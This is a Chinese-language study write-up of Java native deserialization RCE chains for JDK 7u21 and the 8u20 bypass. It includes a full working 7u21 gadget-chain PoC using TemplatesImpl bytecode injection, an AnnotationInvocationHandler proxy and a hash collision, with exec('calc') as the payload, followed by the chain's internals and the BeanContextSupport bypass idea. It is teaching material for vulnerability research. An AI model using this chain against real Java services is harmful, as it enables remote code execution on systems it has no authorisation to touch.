环境jdk下载地址

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

jdk7u21反序列化

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.just;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

import static com.just.Util.*;

/**
* jdk7u21的poc
*/
public class poc1 {

public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{payload.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

String zeroHashCodeStr = "f5a5a608";

// 实例化一个map,并添加f5a5a608为key,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "clyyy");

// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

// 为tempHandler创造实现类对象
Templates proxy = (Templates) Proxy.newProxyInstance(poc1.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();

set.add(templates);
set.add(proxy);//这个顺序非常重要,不能反着来哈

// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);

byte []o = serialize(set);

unserialize(o);
}
}

原理分析

漏洞的关键触发利用点在 AnnotationInvocationHandler.equalsImpl(Object var1) 方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
// 获取动态代理类的所有方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
// 遍历当前动态代理原本对象的所有方法
Method var5 = var2[var4];
String var6 = var5.getName();
// 根据当前方法的名字从memberValues(Map类型)中获取对应的values
Object var7 = this.memberValues.get(var6);
Object var8 = null;
// 判断var1是否是一个动态代理的对象,如果是就返回其InvocationHandler,反之返回null
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
//调用var1对象的方法,获取返回值
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
// 判断var7和var8是否相等
if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

很容易看到这里有个明显的反射调用,有可能可以任意反射 RCE ,因此我们可以来看一下这个方法的流程和参数如何控制。

首先看参数,这个方法中使用了的属性只有 this.typethis.memberValues ,而在这个类的构造方法中我们可以看到,这两个属性是直接根据构造方法的传入的参数赋值的,因此可以完全可控。

这里说明一下这两个参数的作用,type 属性存储被动态代理的是哪个类,memberValues 属性存储当前动态代理的成员属性 Map ,可以把 String 类型的 key 当作属性名,Object 类型的 value 当作属性值。

接下来我们分析一下这个方法的逻辑。这个方法的本质目的是在判断当前动态代理的对象和传入的 var1 参数是否等效。这里判断的逻辑是先根据 getMemberMethods 获取动态代理的原本类(原本类存在 AnnotationInvocationHandler 中的 type 属性中)的所有方法。

然后通过 this.asOneOfUs(var1) 判断 var1 是一个普通对象还是也是动态代理的对象,如果不是动态代理对象就返回 null ,反之返回那个动态代理对象的 InvocationHandler


接下来进入 if 判断语句,如果 var9 != null ,将当前判断的 equals 两边都为动态代理的对象,就根据二者 memberValues 属性是否一致来判断二者是否一致。不然就通过对 var1 来调用当前动态代理对象的方法,看其返回值和当前动态代理对象的 memberValues 存储的是否一致。

从上面我们可以分析出来,开发者员原本心里想的应该是 memberValues 存储的是方法名和其返回值的映射。

根据上面的分析,equalsImpl 方法是可以利用的,但是现在的关键是怎么调用 equalsImpl 。我们可以它只在 AnnotationInvocationHandler.invoke() 方法中被调用了。但是熟悉动态代理的人就知道 invoke() 这个方法是很好调用的,那现在的关键就差最后一步了。能不能控制 invoke() 方法以我们构造的恶意参数走到 equalsImpl() 的方法调用上。

这一看就可以,就不细说了。接下来的步骤就稍微简单了,调用一个动态代理的 equals 方法,传入 TemplatesImpl 对象。

这里使用 HashSet.readObject() -> HashMap.put() -> 任意对象.equals()Gadget

原理这里简单介绍一下,这里在 HashSet.readObject() 的时候,会把其里面的元素都放到一个 map 中作为 keyvalue 为一个空的 Object 对象。然后在 Map.put() 中,会计算当前 put 的元素的 hash 值,然后判断是否和当前 hash 表中的元素有重复的,如果是重复的就替换,反之就新加入 map 。关键就是在这里判断是否重复的逻辑,需要先让两个 map 中的元素 hash 值相同,但是元素不同才会调用 equals() 方法。因此这里我们需要想办法 hash 碰撞来调用 equals() 方法,对应到 poc 的逻辑就是需要让 map 中的两个元素在不相同的情况下 hash 值相等。

我们可以发现 poc 确实实现了这点,但是是怎么实现的呢?两个不同的元素 hash 怎么保证一样。

其实是因为这里根据 poc 的构造, map 第二个放入的元素是第一个放入的元素的动态代理,两个元素是有一定关系的,所以其 hash 的计算也应该有一定的关系。第一个对象没有重写 hashcode 方法所以我们没办法控制,然后我们可以分析动态代理对象的 hash 计算方式,发现它是重写了计算 hash 的代码的。

根据动态代理 hash 的计算,我们可以发现需要满足 ((String)var3.getKey()).hashCode() 的值为 0 就可以让动态代理的对象和被动态代理的对象的 hash 相同。也就是我们需要找一个字符串的 hash0 ,通过爆破,我们可以找到 f5a5a608 这个字符串。

从而我们可以看到 poc 中给 map 设置的 keyf5a5a608 。(类似的字符串还有很多)

方法调用栈

1
2
3
4
5
6
HashSet.readObject()
HashMap.put()
Proxy.equals()
AnnotationInvocationHandler.invoke()
AnnotatiopnInvocationHandler.equalsImpl()
任意对象方法调用(利用TemplatesImpl.getOutputProperties()命令执行)

jdk8u20反序列化

介绍

提前做好这个漏洞分析比较难的准备。这里会先给出思路,然后想办法去实现,思路很难想到,只能照着学习。

jdk8u20 是对 jdk7u21 漏洞的绕过。jdk7u21 的漏洞修复方法主要是下面两个点:

  1. AnnotationInvocationHandler 的构造方法中加入对传入参数类型的限制。

不过这一点比较好绕过,我们可以通过反射在调用构造方法以后再修改 AnnotationInvocationHandler 的属性。

  1. AnnotationInvocationHandler.readObject() 方法中对异常进行抛出,而非直接 return

存在漏洞的版本:

修复后的版本:

这一点的绕过就是 jdk8u20 漏洞的关键所在。

前置知识

由于 jdk8u20 漏洞绕过比较难,这里需要提前说一些后面需要用到的前置知识。

1.异常抛出终止程序运行的绕过

这里直接给出结论:

在一个存在 try-catch 块并且没有抛出异常的方法中如果调用了另一个存在 try-catch 块并且抛出了异常的方法,如果被调用方法抛出了异常,那么被调用方法会中断执行,但是外层的调用方法不会中断执行。

下面给出一个示例代码测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.just;

public class Demo {
public static void func1() throws Exception {
try {
System.out.println(111);
int a = 1 / 0;
System.out.println(222);
} catch (Exception e) {
throw e;
}
}
public static void func2() {
try {
func1();
} catch (Exception e) {
System.out.println(333);
}
}
public static void main(String[] args) throws Exception {
func2();
System.out.println(444);
}
}

运行结果:

2.序列化和反序列化的流程

直接给出结论:

在对一个对象序列化和反序列化的时候,如果 writeObject 方法和 readObject 方法中存在了 defaultWriteObject()defaultReadObject() 的调用,那么会在其中继续对其属性的对象调用 writeObject 方法和 readObject 方法。

测试如下:


3.readObject()和defaultReadObject()区别的理解

defaultReadObject() 的作用是按照默认的方式依次调用当前类所有属性的 readObject() 方法,并且将其返回值赋给其对应的属性。
readObject() 的作用是读取字节流中的下一个 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.just.demo2;

import java.io.*;

public class Test implements Serializable{
public String str1;
public String str2;
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("ois.readObject() = " + ois.readObject());
System.out.println("ois.readObject() = " + ois.readObject());
}
private synchronized void writeObject(ObjectOutputStream oos) throws IOException, ClassNotFoundException {
oos.defaultWriteObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Test test = new Test();
test.str1 = "1";
test.str2 = "2";

FileOutputStream fos = new FileOutputStream("demo.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);

oos.writeObject(test);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("demo.ser"));
System.out.println("ois.readObject() = " + ois.readObject());
}

@Override
public String toString() {
return "Test{" +
"str1='" + str1 + '\'' +
", str2='" + str2 + '\'' +
'}';
}
}

所以如果我们运行上面的代码,结果会如下:

会发现 Test 对象的属性无法成功反序列化成功。这是因为 Test 类的重写的 readObject() 方法中没有使用 defaultReadObject() ,从而不会将字节流读取的到值自动赋给属性,需要我们手动按照属性的顺序一个个顺序赋值。

如下:

1
2
3
4
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
str1 = (String) ois.readObject();
str2 = (String) ois.readObject();
}

需要注意的是,如果上面 Test 类中重写的 readObject() 调用的 readObject() 少了一个,会发现 main() 中的 readObject() 不会是 Test 类中未读取的第二个属性的值。根据运行结果说明,如果重写的 readObject() 方法中手动反序列化赋值的参数少了,并不会按顺序排到后面的 readObject() 方法中,而是直接被抛弃了。原理以后再分析,现在先只需要知道结论。

4.对同一个对象只会进行一次序列化和反序列化

这里也直接给出结论:

java 在多次写入同一个对象到字节流时,那么这个对象只会调用一次 writeObject() 方法。
同理当 java 在反序列化一个字节流时,如果此字节流中序列化了同一个对象多次,那么这个对象只会被调用一次 readObject() 方法。

下面给出示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.just.demo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class User implements Serializable {
public Address address;
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("User#readObject is called");
ois.defaultReadObject();
}
private synchronized void writeObject(ObjectOutputStream oos) throws IOException, ClassNotFoundException {
System.out.println("User#writeObject is called");
oos.defaultWriteObject();
}

@Override
public String toString() {
return "User{" +
"address=" + address +
'}';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.just.demo;

import java.beans.beancontext.BeanContext;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;

public class Address implements Serializable {
public String path;
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Address#readObject is called");
ois.defaultReadObject();
}
private synchronized void writeObject(ObjectOutputStream oos) throws IOException, ClassNotFoundException {
System.out.println("Address#writeObject is called");
oos.defaultWriteObject();
}

@Override
public String toString() {
return "Address{" +
"path='" + path + '\'' +
'}';
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.just.demo;

import java.io.*;

public class Demo {
public static void main(String[] args) throws Exception {
User user = new User();
Address address = new Address();
address.path = "test";
user.address = address;

FileOutputStream fos = new FileOutputStream("demo.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);

oos.writeObject(user);
oos.writeObject(address);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("demo.ser"));
System.out.println("ois.readObject() = " + ois.readObject());
System.out.println("ois.readObject() = " + ois.readObject());
}
}

输出:

如果这里第一次写入的 user 对象的 address 属性和第二次写入的 address 对象不一致,那么 Address 还是会调用两次 writeObjectreadObject

原理分析

根据第一个前置知识 ,我们就有了一个绕过 AnnotationInvocationHandler.readObject() 中异常抛出的思路:

寻找一个外层方法来调用 AnnotationInvocationHandler.readObject() ,并且不会抛出异常。

但这只是第一步,后面的步骤就很难想了。这里直接给出结论:

我们需要寻找一个类,满足下面四个要求:

  1. 重写了 readObject() 方法。
  2. readObject() 方法中存在 try-catch 语句。(可以是间接存在,比如 readObject 调用了 A 方法,A 方法中存在 try-catch 语句)
  3. 并且在 try-catch 语句中调用了 ois.readObject()
  4. 并且 try-catch 语句没有抛出异常。 (这个要求是关键!)
    这里可以发现 jdk 原生的 java.beans.beancontext.BeanContextSupport#readObject() 方法满足条件,这个方法调用了 this.readChildren() 方法,并且在 this.readChildren() 中存在上面满足条件的 try-catch 语句。


这里我们先不需要知道为什么要这么找,等到后面的分析就知道了。

寻找好了利用类,这里直接给出利用思路:

思路一:

jdk7u21 链子序列化后的字节码文件中给 HashSet 类对象强行加一个 BeanContextSupport 类的属性,然后给这个属性也强行加一个 AnnotationInvocationHandler 类的属性。
从而根据第二个前置知识,我们可以知道, HashSet.readObject() 中的 defaultReadObject() 会触发其属性的 BeanContextSupport.readObject()根据第二个前置知识 ),再在 BeanContextSupport.readObject() 中通过 readObject() 触发 AnnotationInvocationHandler.readObject()根据第三个前置知识 ) ,从而防止 AnnotationInvocationHandler.readObject() 的异常终止程序。

但是你可能会疑惑这里的逻辑有点问题,按照这里的说法加上 jdk7u21 链子的逻辑,AnnotationInvocationHandler.readObject() 应该会在 HashSet.readObject() 中调用两次:

BeanContextSupport 绕过的是第一次 AnnotationInvocationHandler.readObject() 因为异常终止程序,那怎么绕过第二次呢?

这里就要用到 第四个前置知识 ,我们只要让两次的 AnnotationInvocationHandler 类对象为同一个,那么第二次反序列化时就不会再次调用 AnnotationInvocationHandlerreadObject 方法了。

这样逻辑思路就捋通了,接下来就是构造 poc 了。

思路二:

类似于思路一,只是换了个 BeanContextSupport 对象在 HashSet 中的位置。我们可以让 BeanContextSupport 对象也成为 HashSet 中的一个元素,这样就可以让它在最后的 for 循环中被调用 readObject 方法了。不过需要注意 BeanContextSupport 对象要在动态代理的对象之前放入 HashSet ,从而让它先反序列化。
此时 HashSet 中应有三个元素,按照顺序是:
BeanContextSupport -> Templates -> Proxy

构造poc

这里构造 poc 是一个难点,需要很了解序列化后结果的结构。先参考 java序列化字节流的结构 来了解这一部分。这里分析起来太复杂了,而且用到的场景也不多,知道其大致的原理就是修改序列化的字节,给对象添加其本没有的字段就可以了。如果以后遇到相似的场景可以再来细致的分析字节。

POC 参考: https://github.com/pwntester/JRE8u20_RCE_Gadget

参考文章

https://xz.aliyun.com/t/9704
https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
https://github.com/pwntester/JRE8u20_RCE_Gadget